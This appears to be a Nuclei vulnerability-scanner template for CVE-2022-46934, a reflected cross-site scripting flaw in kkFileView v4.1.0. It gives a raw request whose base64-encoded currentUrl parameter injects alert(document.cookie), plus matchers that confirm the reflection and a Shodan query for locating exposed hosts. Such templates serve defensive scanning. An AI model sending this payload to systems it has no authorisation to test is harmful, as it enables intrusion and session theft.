nuclei-templates/cves/2022/CVE-2022-46934.yaml

39 lines
1.0 KiB
YAML

id: CVE-2022-46934
info:
name: kkFileView v4.1.0 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
kkFileView v4.1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the url parameter at /controller/OnlinePreviewController.java.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-46934
- https://github.com/kekingcn/kkFileView/issues/411
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-46934
cwe-id: CWE-79
metadata:
shodan-query: http.html:"kkFileView"
verified: "true"
tags: xss,cve,cve2022
requests:
- raw:
- |
GET /picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmNvb2tpZSk7Ly8=&urls HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- "alert(document.cookie)"
- "document.getElementById"
condition: and
- type: status
status:
- 200